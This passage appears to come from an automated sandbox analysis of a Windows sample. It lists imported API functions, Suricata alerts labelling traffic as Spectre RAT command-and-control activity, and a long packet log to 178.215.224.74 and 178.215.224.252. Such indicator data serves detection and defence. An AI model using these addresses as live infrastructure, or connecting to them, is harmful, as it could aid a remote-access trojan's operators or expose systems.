USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T20:00:35.393060+0100	2853767	ETPRO MALWARE Win32/Spectre RAT CnC Activity M1	1	192.168.2.4	49874	178.215.224.74	80	TCP
2024-11-21T20:00:35.393060+0100	2853768	ETPRO MALWARE Win32/SpectreRAT CnC Activity M2	1	192.168.2.4	49874	178.215.224.74	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 19:59:39.086601973 CET	49743	80	192.168.2.4	178.215.224.252
Nov 21, 2024 19:59:39.209808111 CET	80	49743	178.215.224.252	192.168.2.4
Nov 21, 2024 19:59:39.209899902 CET	49743	80	192.168.2.4	178.215.224.252
Nov 21, 2024 19:59:39.210114956 CET	49743	80	192.168.2.4	178.215.224.252
Nov 21, 2024 19:59:39.330024004 CET	80	49743	178.215.224.252	192.168.2.4
Nov 21, 2024 20:00:01.175491095 CET	80	49743	178.215.224.252	192.168.2.4
Nov 21, 2024 20:00:01.178118944 CET	49743	80	192.168.2.4	178.215.224.252
Nov 21, 2024 20:00:01.178508997 CET	49743	80	192.168.2.4	178.215.224.252
Nov 21, 2024 20:00:01.298418045 CET	80	49743	178.215.224.252	192.168.2.4
Nov 21, 2024 20:00:06.693001032 CET	49804	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:06.812601089 CET	80	49804	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:06.812696934 CET	49804	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:06.814177036 CET	49804	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:06.934356928 CET	80	49804	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:08.171070099 CET	80	49804	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:08.179836988 CET	49804	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:08.299897909 CET	80	49804	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:08.299999952 CET	49804	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:08.394947052 CET	49807	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:08.516541958 CET	80	49807	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:08.516613007 CET	49807	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:08.516844988 CET	49807	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:08.636246920 CET	80	49807	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:09.825196981 CET	80	49807	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:09.828131914 CET	49807	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:09.948107004 CET	80	49807	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:09.948199987 CET	49807	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:10.033508062 CET	49813	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:10.153115988 CET	80	49813	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:10.153281927 CET	49813	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:10.153579950 CET	49813	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:10.274111032 CET	80	49813	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:11.456861973 CET	80	49813	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:11.463540077 CET	49813	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:11.583690882 CET	80	49813	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:11.583750010 CET	49813	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:11.708165884 CET	49819	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:11.827800989 CET	80	49819	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:11.827908993 CET	49819	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:11.828119993 CET	49819	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:11.947635889 CET	80	49819	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:13.182924032 CET	80	49819	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:13.190097094 CET	49819	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:13.311888933 CET	80	49819	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:13.311958075 CET	49819	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:13.369386911 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:13.488929033 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:13.489000082 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:13.489723921 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:13.609267950 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911429882 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911456108 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911467075 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911549091 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:14.911601067 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911644936 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:14.911746025 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911756992 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911763906 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911773920 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911778927 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911787033 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:14.911976099 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.034287930 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.034346104 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.034400940 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.038388968 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.090678930 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.123430014 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.123543024 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.123581886 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.127649069 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.127768040 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.127815008 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.136044979 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.136192083 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.136245012 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.144476891 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.144547939 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.144622087 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.152785063 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.152893066 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.152940989 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.161139965 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.161284924 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.161359072 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.169625998 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.169960976 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.170046091 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.177959919 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.178003073 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.178076029 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.186448097 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.186497927 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.186539888 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.194693089 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.194736004 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.194803953 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.210246086 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.210505962 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.210586071 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.243072033 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.243108988 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.243211031 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.333956957 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.333988905 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.334131956 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.335526943 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.335647106 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.335692883 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.340989113 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.341098070 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.341150999 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.346685886 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.346757889 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.346807957 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.352010965 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.352114916 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.352174997 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.357470036 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.357575893 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.357626915 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.362895012 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.363159895 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.363213062 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.368350983 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.368467093 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.368520021 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.374003887 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.374146938 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.374200106 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.377644062 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.377795935 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.377841949 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.381557941 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.381690025 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.381762981 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.385329008 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.385493040 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.385546923 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.389130116 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.389288902 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.389333963 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.392924070 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.393065929 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.393114090 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.396778107 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.396897078 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.396943092 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.400580883 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.400682926 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.400734901 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.404341936 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.404467106 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.404511929 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.408158064 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.408312082 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.408413887 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.411969900 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.412130117 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.412177086 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.415767908 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.415918112 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.415967941 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.419514894 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.465672970 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.544312000 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.544435024 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.544477940 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.545185089 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.545310020 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.545346975 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.548283100 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.548367977 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.548409939 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.550649881 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.550704956 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.550746918 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.553685904 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.553746939 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.553788900 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.556603909 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.556684971 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.556720018 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.559688091 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.559741020 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.559773922 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.562668085 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.562803984 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.562844038 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.565783024 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.565886021 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.565920115 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.568739891 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.568847895 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.568888903 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.571866989 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.571923018 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.571959972 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.574863911 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.574898958 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.574942112 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.577819109 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.577893972 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.577939034 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.580884933 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.580960989 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.581002951 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.583918095 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.584028006 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.584072113 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.586872101 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.587002039 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.587119102 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.589967012 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.590080023 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.590173006 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.592911005 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.593009949 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.593055010 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.595973015 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.596003056 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.596040964 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.599061012 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.599117994 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.599153042 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.602041960 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.602118969 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.602171898 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.605058908 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.605150938 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.605214119 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.608191013 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.608288050 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.608411074 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.611130953 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.611193895 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.611241102 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.614171982 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.614233971 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.614291906 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.617110968 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.617213964 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.617257118 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.620181084 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.620285034 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.620325089 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.623188019 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.623275042 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.623327971 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.626257896 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.626358032 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.626399040 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.629251003 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.629362106 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.629399061 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.632276058 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.632364988 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.632399082 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.635415077 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.635458946 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.635509968 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.638360023 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.638427973 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.638475895 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.641385078 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.641424894 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.641460896 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.644439936 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.644504070 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.644537926 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.647420883 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.647478104 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.647625923 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.650578976 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.650665045 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.650715113 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.653496027 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.653547049 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.653598070 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.755353928 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.755449057 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.755511999 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.756879091 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.756941080 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.756984949 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.759073019 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.759177923 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.759224892 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.762144089 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.762267113 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.762320042 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.765038013 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.765156031 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.765196085 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.768126965 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.768208027 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.768244028 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.771169901 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.771306038 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.771339893 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.774127960 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.774281025 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.774365902 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.776640892 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.776742935 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.776774883 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.779198885 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.779274940 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.779316902 CET	49821	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:00:15.781719923 CET	80	49821	178.215.224.74	192.168.2.4
Nov 21, 2024 20:00:15.781851053 CET	80	49821	178.215.224.74	192.168.2.4
